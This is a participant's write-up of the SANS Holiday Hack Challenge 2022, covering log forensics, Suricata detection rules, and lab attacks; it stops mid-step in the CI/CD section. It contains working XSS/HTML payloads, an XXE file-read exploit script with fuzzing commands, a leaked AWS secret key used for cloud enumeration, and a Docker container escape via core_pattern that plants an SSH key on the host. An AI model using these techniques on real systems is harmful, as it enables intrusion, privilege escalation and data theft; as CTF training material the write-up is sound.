SANS Holiday Hack Challenge Submission


Tolkien Ring

Wireshark Practice

1. Types of objects that can be exported

Out of the options under the File->Export->Objects menu, only HTTP objects could be exported:

2. Largest file that can be exported

app.php, which is 808kB, as per the screenshot above.

3. Packet number of app.php

687, as per the screenshot above, is the accepted solution. However, if I understand correctly, this packet is reassembled starting from packet 23:

4. IP of Apache Server, as per the above screenshot.

5. File saved to infected host is saved:

$ tail app.php | grep --color=auto saveAs
    saveAs(blob1, '');

6. Registration countries of bad certificates

Israel, South Sudan as per the screenshot:

Resolution of country codes:

    $ isoquery IL
    IL      ISR     376     Israel
    $ isoquery SS
    SS      SSD     728     South Sudan

7. Is the host infected?

Yes, based on the connections to the suspicious TLS servers, which occur after is saved.

Windows Event Logs

1. month/day/year of attack

The logs were converted to text format:

$ evtxexport powershell.evtx > events.log

events.log was searched for the text ‘recipe’, which identified event 7413 where the recipe was viewed on 12/24/2022:

Event number            : 7413
Creation time           : Dec 24, 2022 11:01:03.659392500 UTC
Written time            : Dec 24, 2022 11:01:03.659392500 UTC
Source name         : Microsoft-Windows-PowerShell
String: 3           : CommandInvocation(Out-Default): "Out-Default"^M
ParameterBinding(Out-Default): name="InputObject"; value="Recipe from Mixolydian, the Queen of Dorian"^M
ParameterBinding(Out-Default): name="InputObject"; value="Lembanh Original Recipe"^M
ParameterBinding(Out-Default): name="InputObject"; value="1/2 tsp honey (secret ingredient)"^M

2. Original recipe file name

The full command executed was found in a preceding event, revealing the recipe file name to be Recipe:

Event number            : 7411
Creation time           : Dec 24, 2022 11:01:03.657910000 UTC
Written time            : Dec 24, 2022 11:01:03.657910000 UTC
Source name         : Microsoft-Windows-PowerShell
String: 2           :
String: 3           : CommandInvocation(Get-Content): "Get-Content"^M
ParameterBinding(Get-Content): name="Path"; value=".\Recipe"^M

3. Last full PowerShell line that changed the file and stored the result in a variable

The line was located by grepping the logs for PowerShell script block execution events:

$ grep --color=auto -i -A8 'Event identifier.*4104' events.log | grep --color=auto foo
String: 3                       : echo "Nov 25 2022 `nI love Thanksgiving because it means Christmas is almost here! That's what I'm thankful for this year... and every year. Smilegol was such a glutton at Thanksgiving dinner. He kept sticking his hand in everyone's food and yelling 'MY GERMS!' and then coughing onto it with that yucky cough he has now. He's like a whole different elf lately. Everyone is really starting to become worried about him." >> mydiary.txt
String: 3                       : $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
String: 3                       : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
String: 3                       : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
String: 3                       : $foo | Add-Content -Path 'recipe_updated.txt'
String: 3                       : $foo | Add-Content -Path 'Recipe.txt'
String: 3                       : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
String: 3                       : $foo | Add-Content -Path 'Recipe.txt'
String: 3                       : $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
String: 3                       : $foo | Add-Content -Path 'Recipe.txt'
String: 3                       : $foo | Add-Content -Path 'Recipe'

with the last full line that changed the file and stored the result in a variable being:

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

4. Last full PowerShell line that wrote the modified data to a file

The line was also observed in the grep results from step 3:

$foo | Add-Content -Path 'Recipe'

5. Name of file the previous command was run against multiple times

Recipe.txt, which was also observed in the grep results from step 3.

6. Were any files deleted?

Yes. Both Recipe.txt and recipe_updated.txt were deleted:

$ grep -i -A8 'Event identifier.*4104' events.log|grep -i 'del\|rd'
String: 3                       : echo "Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!" >> mydiary.txt
String: 3                       : del .\Recipe.txt
String: 3                       : del .\recipe_updated.txt

7. Was the original file deleted?

No, supported by the grep results from the previous step.

8. Event ID showing the commands the attacker ran

4104, as supported by the greps from previous steps.

9. Is the secret ingredient compromised?

Yes, because it was viewed, then replaced by ‘fish oil’.

10. What is the secret ingredient?

honey, as shown in the event from step 1.

Suricata Regatta

1. Rule to catch DNS lookups for

alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:""; sid:9000001; rev:1;)

2. Rule that alerts whenever the infected IP address communicates with internal systems over HTTP

The created rule considers any communication with to be a possible Dridex infection and, thus, does not explicitly reference any internal IP ranges:

alert http any <> any any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:9000002; rev:1;)

3. Rule to match and alert on an SSL certificate for

alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:""; sid:9000003; rev:1;)

4. Rule to watch for one line from the JavaScript: let byteCharacters = atob

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:9000004; rev:1;)

Web Ring

Naughty IP

The IP address was identified as exfiltrating etc/passwd:

Credential mining

The username of the first brute force login tried was alice:

404 FTW

The first successful URL path in the forced browsing attack was /proc:

IMDS, XXE, and Other Abbreviations

The IMDS URL retrieved via XXE was

Open Boria Mine Door

Pin 1

The Pin 1 frame source code reveals the correct input in an HTML comment as @&@&&W&&W&&&&:

    <title>Lock 1</title>
    <link rel="stylesheet" href="pin.css">
    <form method='post' action='pin1'>
        <!-- @&@&&W&&W&&&& -->
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />

which successfully unlocks pin1:

Based on the image rendered for pin1 and the observed web traffic, it was conjectured that the way the application works is:

  1. the input is rendered into a web page on the server
  2. a path finding algorithm is executed to find a flow between the start pipe and the end pipe, where the flow must traverse between pipes of the same color, via areas of the same color. If a flow is found, the pin is unlocked.
  3. a screenshot of the result is returned to the client and displayed

Pin 2

The Pin 2 frame source code contains two hints regarding the permitted input:

  1. A TODO comment indicating that HTML input will be accepted.
  2. A Content-Security-Policy hinting that inline styles may be accepted:
    <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'">
    <title>Lock 2</title>
    <link rel="stylesheet" href="pin.css">
    <form method='post' action='pin2'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />

Although many potential payloads can work, the following simplified payload was found to unlock pin 2:

<div style='background: white;height:400px'></div>

Pin 3

The Pin 3 frame source code contains two hints regarding the permitted input:

  1. A TODO comment indicating that JavaScript input will be accepted.
  2. A Content-Security-Policy hinting that inline JavaScript may be accepted:
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
    <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> -->
    <title>Lock 3</title>
    <link rel="stylesheet" href="pin.css">
    <form method='post' action='pin3'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />

Although many potential payloads can work, the following simplified payload was found to unlock pin 3, which is the JavaScript equivalent of the payload used for pin 2:

<script>mydiv = document.createElement('div'); = 'blue'; = '400px';document.body.appendChild(mydiv);</script>

Pin 4

Although 3 unlocked pins were sufficient to unlock the Boria mine doors, the remainder were also unlocked for fun and to test if anything else would happen as a result.

The Pin 4 frame source code contains a client side input sanitization function that is called when the input field is blurred (ie. loses focus). The sanitization removes double and single quotes, along with angle brackets, but not globally so multiple occurrences will not be removed:

    <title>Lock 4</title>
    <link rel="stylesheet" href="pin.css">
        const sanitizeInput = () => {
            const input = document.querySelector('.inputTxt');
            const content = input.value;
            input.value = content
                .replace(/"/, '')
                .replace(/'/, '')
                .replace(/</, '')
                .replace(/>/, '');
    <form method='post' action='pin4'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />

Using the browser developer tools, the onblur event handler was removed from the page. The most reliable way found was to:

  1. Edit the input element as HTML and copy the HTML text.
  2. Exit the edit HTML mode by clicking outside the element.
  3. Delete the input element from the page.
  4. Edit the form as HTML, paste the HTML copied from step 1 and delete the blur attribute.
  5. Exit the edit HTML mode by clicking outside the element.

Other methods tried resulted in the event handler sometimes being successfully removed but sometimes not.

The following payload was then submitted via the input element:

<div style='background: white;height:100px'></div><div style='background: blue;height:100px'></div>

Pin 5

The Pin 5 frame source code contains a client side input sanitization function that is called when the input field is blurred (ie. loses focus). The sanitization removes double and single quotes, along with angle brackets, globally. Furthermore, the Content-Security-Policy indicates inline JavaScript may be accepted:

    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
    <title>Lock 5</title>
    <link rel="stylesheet" href="pin.css">
        const sanitizeInput = () => {
            const input = document.querySelector('.inputTxt');
            const content = input.value;
            input.value = content
                .replace(/"/gi, '')
                .replace(/'/gi, '')
                .replace(/</gi, '')
                .replace(/>/gi, '');
    <form method='post' action='pin5'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />

Using the browser developer tools, the onblur event handler was removed from the page using the same steps as for pin 4.

Unlike pin 4, empirical testing indicated that HTML payloads would not work but JavaScript would, consistent with the Content-Security-Policy, with the main challenge being the presence of two pipelines that need to be joined at different angles. The following payload was found to work, utilizing CSS rotation and translation of divs:

<script> divr = document.createElement('div'); = 'red'; = '100px'; = '400px'; = '-30deg'; = '-50px -30px'; divb = document.createElement('div'); = 'blue'; = '100px'; = '400px'; = '-30deg'; = '-50px'; document.body.appendChild(divr); document.body.appendChild(divb); </script>

Pin 6

The Pin 6 frame source code contains a Content-Security-Policy that restricts both scripts and styles:

    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; style-src 'self'">
    <title>Lock 6</title>
    <link rel="stylesheet" href="pin.css">
    <form method='post' action='pin6'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />

The solution found was to first take a screenshot of the pin6 pipe layout in preparation to import the image into Gimp:

Within Gimp, three colored rectangles were drawn in a new layer to join the corresponding pipes, taking care that the rectangles overlay the correct ‘nozzles’ on the pipes, especially ensuring the red rectangle only overlaps the red ‘nozzles’ and not the left blue ‘nozzle’:

The image was then cropped to the drawn rectangles only:

This image was then base64 encoded via cat pin6-solution_2022-12-29_18-27-06.png | base64 -w 0 and submitted in the pin6 input as a base64 encoded image data URL:


Glamtariel’s Fountain

  1. The web application home page displays a princess, fountain and four draggable icons.

  2. Dragging each of the four icons over either the princess or fountain presents responses containing clues in capitalized letters, such as the existence of a RINGLIST file:

  3. After dragging each of the icons over both the princess and the fountain, a second stage of draggable icons was revealed:

  4. After another round of dragging each of the icons over both the princess and the fountain, a third stage of draggable cons was revealed:

  5. The total set of capitalized words revealed were TAMPER, PATHS, TRAFFIC FLIES, TYPES, RINGLIST, SIMPLE FORMAT, APP. The Boria Mine bonus for opening all 6 locks also revealed there was an XXE vulnerability.

  6. An XXE payload was submitted to/dropped, by changing the JSON request to XML, setting the reqType field to xml and injecting an xml entity into the imgDrop field. The correct path of the ringlist.txt was found by fuzzing at a rate of 1 request per second:

    1. Raw request to use with ffuf:

      $ cat request.txt
      POST /dropped HTTP/2
      Cookie: MiniLembanh=bd88304f-d70e-484d-98a1-a6a6767ee459.Voj2slphxIDRrLjCxwVToxyPkFQ; GCLB="f5ba54f7cf67342a"
      Content-Length: 198
      Accept: application/json
      Content-Type: application/xml
      X-Grinchum: ImFlYzliMDk2N2FkNTY0YmUyYWEyM2NiNTRiMDdhNTE2NDljZDIyZGEi.Y7OzQg.5eoxPkPXJHHD8fugEFTDkuA1BPQ
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
      Accept-Encoding: gzip, deflate
      Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE foo [ <!ENTITY ext SYSTEM "FUZZ" > ]>
    2. Wordlist, constructed based on the APP clue and the structure of observed paths requested by the app:

      $ cat wordlist5
    3. ffuf execution

      $ ffuf -w wordlist5 -x -rate 1 -t 1 -request request.txt -request-proto https -od responses -fs 193
      [Status: 200, Size: 143, Words: 22, Lines: 6, Duration: 298ms]
      | RES | 6567d447cfc28aee49a83f72aa1bc7b2
          * FUZZ: file:///app/static/images/ringlist.txt
  7. The rest of the process involving following clues returned in each successive response, such as text contained in images. Since the cookie seems to regularly expire, the full end to end ‘exploit’ was implemented as a repeatable python script, to be run via a Burp proxy:

      1 #!/usr/bin/python3
      3 import requests
      4 import sys
      5 import time
      6 from pathlib import Path
      7 import re
      9 proxy=''
     10 proxies={
     11     'http': proxy,
     12     'https': proxy
     13 }
     15 burpCA = Path.home() / "burp-cacert.pem"
     17 session = requests.session()
     18 session.proxies = proxies
     19 session.verify = str(burpCA)
     21 home_url = ""
     22 dropped_url = ""
     24 def get_ticket() -> str:
     25     print(f"getting ticket from {home_url}")
     26     resp = session.get(home_url)
     27     if resp.status_code != 200:
     28         abort("wrong status code: {resp.status_code}")
     29     match ='<meta id="csrf".*content="(.*)"', resp.text)
     30     if not match:
     31         abort('ticket not found in response')
     32     ticket =
     33     print(f"ticket: {ticket}")
     34     return ticket
     37 def headers_json(ticket: str) -> dict[str, str]:
     38     return {"Accept": "application/json", "Content-Type": "application/json", "X-Grinchum": f"{ticket}"}
     41 def headers_xml(ticket: str) -> dict[str, str]:
     42     return {"Accept": "application/json", "Content-Type": "application/xml", "X-Grinchum": f"{ticket}"}
     45 def abort(msg: str) -> None:
     46     print(f"ERROR: {msg}")
     47     sys.exit(1)
     50 def dropit(ticket: str, img: str, who: str) -> None:
     52     burp0_json={"imgDrop": f"{img}", "reqType": "json", "who": f"{who}"}
     53     resp =, headers=headers_json(ticket), json=burp0_json)
     54     if resp.status_code != 200:
     55         abort('something went wrong')
     58 def assert_img1_length(msg: str, expected_len: int) -> None:
     59     print(f"{msg} - asserting img 1 length of {expected_len}")
     60     resp = session.get(f"{int(time.time())}.png")
     61     if resp.status_code != 200:
     62         abort(f"something went wrong")
     64 # Equivalent of dragging and dropping all images onto the princess, then the fountain via the UI
     65 def dropall(ticket: str, msg: str, expected_len: int) -> None:
     66     assert_img1_length(msg, expected_len)
     68     print(f"{msg} - dropping all images")
     69     images = ['img1', 'img2', 'img3', 'img4']
     70     destinations = ['princess', 'fountain']
     71     for img in images:
     72         for dest in destinations:
     73             dropit(ticket, img, dest)
     75 def progress_to_ring_images(ticket: str):
     76     dropall(ticket, 'stage 1', 13879)
     77     dropall(ticket, 'stage 2', 15935)
     78     dropall(ticket, 'stage 3', 13858)
     81 def submit_xxe(ticket: str, target_file: str, expected_resp_text: str, insert_point: str = 'imgDrop'):
     82     print(f"confirming existence of {target_file})")
     84     if insert_point == 'imgDrop':
     85         burp0_data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE foo [ <!ENTITY ext SYSTEM \"file://{target_file}\" > ]>\r\n<root>\r\n<imgDrop>&ext;</imgDrop>\r\n<reqType>xml</reqType>\r\n<who>princess</who>\r\n</root>    "
     86     elif insert_point == 'reqType':
     87         burp0_data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE foo [ <!ENTITY ext SYSTEM \"file://{target_file}\" > ]>\r\n<root>\r\n<imgDrop>img1</imgDrop>\r\n<reqType>&ext;</reqType>\r\n<who>princess</who>\r\n</root    >"
     88     else:
     89         abort(f"unsupported insert_point: {insert_point}")
     91     resp =, headers=headers_xml(ticket), data=burp0_data)
     92     if resp.status_code != 200:
     93         abort("status code: {resp.status_code}")
     94     if resp.text.find(expected_resp_text) == -1:
     95         abort("ringlist not found")
     97     match ='visit": "(.*\.png.*)"', resp.text)
     98     if match:
     99         visit_img =
    100         print(f"visiting image: {visit_img}")
    101         resp = session.get(f"{home_url}{visit_img}")
    102         if resp.status_code != 200:
    103             abort(f"status code: {resp.status_code}")
    106 ticket = get_ticket()
    107 progress_to_ring_images(ticket)
    108 submit_xxe(ticket, "/app/static/images/ringlist.txt", "Ah, you found my ring list")
    109 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/silverring.txt", "love to add that silver ring to my collection")
    110 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt", "made a pretty bold REQuest")
    111 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt", "No, really I couldn't", insert_point='reqType')
  8. An example run is the following, with the final line containing the solution to this challenge, goldring-morethansupertopsecret76394734.png. Further explanation of each stage follows.

    $ ./
    getting ticket from
    ticket: ImEwM2NiOTE5ZTQxZTUyYjJkNzA0ZmUyYjMxOTY5M2Y0ZjQyNmIxNGYi.Y7Ul3w.gDMcUa1bUsd1qioFsLXLh37jAmo
    stage 1 - asserting img 1 length of 13879
    stage 1 - dropping all images
    stage 2 - asserting img 1 length of 15935
    stage 2 - dropping all images
    stage 3 - asserting img 1 length of 13858
    stage 3 - dropping all images
    confirming existence of /app/static/images/ringlist.txt)
    visiting image: static/images/pholder-morethantopsupersecret63842.png,262px,100px
    confirming existence of /app/static/images/x_phial_pholder_2022/silverring.txt)
    visiting image: static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px
    confirming existence of /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt)
    confirming existence of /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt)
    visiting image: static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px


    1. static/images/pholder-morethantopsupersecret63842.png,262px,100px reveals the path to a folder containing ring txt files. The separator used in the folder name isn’t clear from the image but it was successfully guessed as _:

    2. The request for /app/static/images/x_phial_pholder_2022/silverring.txt was a guess based on an earlier response that contained ‘Glamtariel may not have one of these silver rings in her collection’ (omitted for brevity)

    3. static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px reveals the path to /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt


    4. The response to /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt injected into imgDrop hints that it should be injected into reqType instead:

    5. The response to injecting /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt into reqType reveals the final solution of goldring-morethansupertopsecret76394734.png

Cloud Ring


Session transcript:

  1. Search for secrets:

    elf@f5642c717faa:~$ trufflehog git
    Found unverified result 🐷🔑❓
    Detector Type: AWS
    Decoder Type: PLAIN
    Email: asnowball <alabaster@northpolechristmastown.local>
    Timestamp: 2022-09-07 07:53:12 -0700 -0700
    Line: 6
    Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
  2. Clone the repository:

    elf@f5642c717faa:~$ git clone
    Cloning into 'aws_scripts'...
    remote: Enumerating objects: 64, done.
    remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
    Unpacking objects: 100% (64/64), 23.83 KiB | 1.32 MiB/s, done.
  3. Checkout the commit containing the AWS secret:

    elf@f5642c717faa:~/aws_scripts$ git checkout 106d33e1ffd53eea753c1365eafc6588398279b5
    Note: switching to '106d33e1ffd53eea753c1365eafc6588398279b5'.
    elf@f5642c717faa:~/aws_scripts$ cat
    iam = boto3.client('iam',
  4. Configure the AWS CLI with the secrets:

    elf@f5642c717faa:~/aws_scripts$ aws configure
    AWS Secret Access Key [None]: e95qToloszIgO9dNBsQMQsc5/foiPdKunPJwc1rL
    Default region name [None]: us-east-1
    Default output format [None]:
    elf@f5642c717faa:~/aws_scripts$ aws sts get-caller-identity
        "Account": "602123424321",
        "Arn": "arn:aws:iam::602123424321:user/haug"
  5. Which confirms the file with a valid AWS secret is

Exploitation via AWS CLI

  1. List attached user policies:

    elf@f5642c717faa:~/aws_scripts$ aws iam list-attached-user-policies --user-name haug
        "AttachedPolicies": [
                "PolicyName": "TIER1_READONLY_POLICY",
                "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
  2. Get the attached user policy:

    elf@f5642c717faa:~/aws_scripts$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
        "Policy": {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyId": "ANPAYYOROBUERT7TGKUHA",
            "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
            "Path": "/",
            "DefaultVersionId": "v1",
  3. Get the default version of the attached user policy:

    elf@f5642c717faa:~/aws_scripts$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
        "PolicyVersion": {
            "Document": {
                "Version": "2012-10-17",
                "Statement": [
                        "Effect": "Allow",
                        "Action": [
                        "Resource": "*"
                        "Effect": "Allow",
                        "Action": [
                        "Resource": "arn:aws:iam::602123424321:user/${aws:username}"
                        "Effect": "Allow",
                        "Action": [
                        "Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
                                        "Effect": "Deny",
                        "Principal": "*",
                        "Action": [
                        "Resource": "*"
  4. List inline user policies:

    elf@f5642c717faa:~/aws_scripts$ aws iam list-user-policies --user-name haug
        "PolicyNames": [
  5. Get the inline user policy:

    elf@f5642c717faa:~/aws_scripts$ aws iam get-user-policy --user-name haug --policy-name S3Perms
        "UserPolicy": {
            "UserName": "haug",
            "PolicyName": "S3Perms",
            "PolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                        "Effect": "Allow",
                        "Action": [
                        "Resource": [
  6. List objects in the S3 bucket:

    elf@f5642c717faa:~/aws_scripts$ aws s3api list-objects  --bucket smogmachines3
        "IsTruncated": false,
        "Marker": "",
        "Contents": [
                "Key": "smog-power-station.jpg",
                "LastModified": "2022-09-23 20:40:46+00:00",
                "ETag": "\"0e69b8d53d97db0db9f7de8663e9ec09\"",
                "Size": 32498,
                "StorageClass": "STANDARD",
                "Owner": {
                    "DisplayName": "grinchum",
                    "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
                "Key": "",
                "LastModified": "2022-09-26 16:31:33+00:00",
                "ETag": "\"fd5d6ab630691dfe56a3fc2fcfb68763\"",
                "Size": 5823,
                "StorageClass": "STANDARD",
                "Owner": {
                    "DisplayName": "grinchum",
                    "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
  7. List lambda functions:

    elf@f5642c717faa:~/aws_scripts$ aws lambda list-functions
        "Functions": [
                "FunctionName": "smogmachine_lambda",
                "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",            "Runtime": "python3.9",
                "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",
                "Handler": "handler.lambda_handler",
  8. Get the function URL config

    elf@f5642c717faa:~/aws_scripts$ aws lambda get-function-url-config --function-name smogmachine_lambda
        "FunctionUrl": "",
        "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
        "AuthType": "AWS_IAM",
        "Cors": {
            "AllowCredentials": false,
            "AllowHeaders": [],
            "AllowMethods": [
            "AllowOrigins": [
            "ExposeHeaders": [],
            "MaxAge": 0
        "CreationTime": "2022-09-07T19:28:23.808713Z",
        "LastModifiedTime": "2022-09-07T19:28:23.808713Z"

Elfen Ring

Clone with a difference

  1. The repository can be cloned over the https protocol:

    bow@73bbd4814676:~$ git clone
    Cloning into 'aws_scripts'...
    remote: Enumerating objects: 64, done.
    remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
    Unpacking objects: 100% (64/64), 23.83 KiB | 1.25 MiB/s, done.
  2. The last word from the was found to be maintainers:

    bow@73bbd4814676:~$ tail aws_scripts/
    If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
    bow@73bbd4814676:~$ runtoanswer maintainers
    Your answer: maintainers
    Your answer is correct!

Prison Escape

  1. The current user was found to have sudo permissions to run any command without a password:

    grinchum-land:~$ sudo -l
    User samways may run the following commands on grinchum-land:
  2. The user shell was escalated to a root shell in the container:

    grinchum-land:~$ sudo su
    grinchum-land:/home/samways# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  3. The container was found to have a single network interface and a default gateway of

    grinchum-land:/config# ip a
    7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
        link/ether 02:42:ac:12:00:63 brd ff:ff:ff:ff:ff:ff
        inet brd scope global eth0
           valid_lft forever preferred_lft forever
    grinchum-land:/config# ip r
    default via dev eth0 dev eth0 scope link  src
  4. In a docker container, the default gateway typically defaults to the underlying host. The container was found to contain nmap and this was used to identify ssh services at 22/tcp and 2222/tcp on the host:

    grinchum-land:/dev/shm# nmap -n -vv --reason -sS  -p- -oA nmap-
    Starting Nmap 7.92 ( ) at 2022-12-18 06:46 GMT
    Not shown: 65533 closed tcp ports (reset)
    22/tcp   open  ssh          syn-ack ttl 64
    2222/tcp open  EtherNetIP-1 syn-ack ttl 64
  5. 2222/tcp was identified as the sshd running within the container. Thus, it was speculated that 22/tcp was running on the host.

    grinchum-land:~# ps -ef|less
    UID          PID    PPID  C STIME TTY          TIME CMD
    samways      162      37  0 05:24 ?        00:00:00 sshd.pam: /usr/sbin/sshd.pam -D -e -p
    2222 [listener] 0 of 10-100 startups
  6. 22/tcp was identified as supporting public key authentication:

    grinchum-land:/# ssh -v root@
    debug1: Authentications that can continue: publickey,password
  7. The existence of / was interpreted as a hint that 22/tcp was a viable attack vector. An ssh key pair was generated:

    grinchum-land:/# ./
    Please select your key type to generate
    1.) ecdsa
    2.) rsa
    3.) ed25519
    4.) dsa
    [default ecdsa]:3
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk4QUTLVL65afl3y+rK7YF3j3Vhyh5lvulMISPNXqxs root@grinchum-land
  8. The private key was installed into ~/.ssh/id_ed25519 and the permissions set:

    grinchum-land:~/.ssh# chmod 600 ~/.ssh/id_ed25519
    grinchum-land:~/.ssh# ls -l ~/.ssh/id_ed25519
    -rw------- 1 root root 411 Dec 22 03:46 /root/.ssh/id_ed25519
  9. The root process in the container appeared to be running with a full set of Linux Kernel capabilities enabled:

    grinchum-land:/proc/1# cat status|grep Cap
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff

    Decoding the capability bits on a local Kali instance:

    $ capsh --decode=0000003fffffffff
  10. As per it is possible to exploit /proc/sys/kernel/core_pattern to execute arbitrary code upon a core dump. A shell script was created to install the ssh public key into /root/.ssh/authorized_keys and the script was made executable:

    grinchum-land:~# cat /
    mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk4QUTLVL65afl3y+rK7YF3j3Vhyh5lvulMISPNXqxs" >> /root/.ssh/authorized_keys
    grinchum-land:~# ls -l /
    -rwxrwxrwx 1 root root 153 Dec 22 04:02 /
  11. The container writable overlay filesystem was found to be located at /var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff:

    grinchum-land:~/.ssh# cat /etc/mtab
    overlay / overlay rw,relatime,<snip/>upperdir=/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff<snip/>
  12. /proc/sys/kernel/core_pattern was set to execute from the overlay directory on the host:

    grinchum-land:/dev/shm# export overlay='/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff'
    grinchum-land:/dev/shm# echo "|$overlay/" > /proc/sys/kernel/core_pattern
    grinchum-land:~/.ssh# cat /proc/sys/kernel/core_pattern
  13. On a local Kali instance, a small c program was created to crash, then base64 encoded and copied into the clipboard:

    $ cat crash.c
    int main() {
        return 1/0;
    $ gcc -nostartfiles -static -s crash.c
    $ cat a.out | base64 -w 0 | xsel -i -b
  14. The base64 encoded program was installed into the container via the clipboard:

    grinchum-land:/dev/shm# vi crash.b64
    grinchum-land:/dev/shm# cat crash.b64 | base64 -d > crash.out
    grinchum-land:/dev/shm# chmod u+x crash.out
    grinchum-land:/dev/shm# cp crash.out ~
  15. The program was executed, resulting in a core dump (on the host):

    grinchum-land:~# ./crash.out
    Arithmetic exception (core dumped)
  16. ssh access to the host was obtained and the secret discovered as 082bb339ec19de4935867:

    grinchum-land:~# ssh -i ~/.ssh/id_ed25519 root@
    Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.10.51 x86_64)
    root@dac96dd73e8a0637:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@dac96dd73e8a0637:/home/jailer/.ssh# cat jail.key.priv
          .'_    082bb339ec19de4935867   `-.

Jolly CI/CD

  1. The current user was found to have sudo permissions to run any command without a password:

    grinchum-land:~$ sudo -l
    User samways may run the following commands on grinchum-land:
  2. The user shell was escalated to a root shell in the container:

    grinchum-land:~$ sudo su -
    grinchum-land:~# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  3. Tinsel Upatree provided two clues:

    1. Didn’t mean to commit to
    2. Once a change is committed, Gitlab will automatically deploy the change
  4. The repository was cloned:

    grinchum-land:~# git clone
    Cloning into ''...
    remote: Enumerating objects: 10195, done.
    remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
    Receiving objects: 100% (10195/10195), 36.49 MiB | 23.91 MiB/s, done.
    Resolving deltas: 100% (1799/1799), done.
    Updating files: 100% (9320/9320), done.
  5. A suspicious log entry was identified:

    grinchum-land:~/ git log |grep -B4 whoops
    commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
